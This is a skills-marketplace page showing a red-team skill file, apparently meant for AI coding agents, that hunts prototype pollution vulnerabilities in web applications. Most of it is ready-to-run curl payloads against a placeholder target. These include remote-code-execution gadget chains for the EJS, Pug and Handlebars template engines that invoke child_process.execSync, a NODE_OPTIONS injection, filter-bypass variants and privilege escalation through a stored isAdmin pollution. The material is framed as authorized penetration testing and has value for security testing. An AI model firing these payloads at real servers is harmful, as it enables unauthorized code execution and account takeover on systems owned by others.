用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill hunt-prototype-pollution命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
基于 SOC 职业分类
正在显示 SKILL.md
| name | hunt-prototype-pollution |
| description | Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","prototype-pollution","XSS","RCE","JavaScript","Node.js","jQuery"] |
| related_skills | ["hunt-nodejs","hunt-xss","hunt-api-misconfig"] |
Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).
$.extend(true, ...) or $.fn.merge() with deep copy on untrusted data._.merge(), _.defaultsDeep(), _.set() receiving request body/query params.child_process.exec/spawn accessible via polluted options.# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted
# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
-d '__proto__[polluted]=true'
# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH \
-H \
-d
EJS RCE (outputFunctionName):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'
Pug RCE (self.block):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
Handlebars RCE (compileFunction):
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'
NODE_OPTIONS injection:
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1 # blocked
https://target.com/?__pröto__[test]=1 # bypass (ä normalizes to a)
# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"constructor":{"prototype":{"polluted":true}}}'
# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"__proto__":{"polluted":[]}}' # forces array coercion
# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"
// Verify pollution in browser console
Object.prototype.polluted // should return the injected value
// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}
// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"name":{"__proto__":{"isAdmin":true}}}'
# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context
__proto__ in a request is a finding. Only report when the polluted property actually affects application behavior.__proto__[test]=value and verify Object.prototype.test === value in browser console or server response.innerHTML, eval, document.write, or a script src attribute.hunt-nodejs — Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.hunt-xss — DOM XSS often exploitable through client-side prototype pollution.hunt-api-misconfig — Object merge on request bodies without hasOwnProperty checks.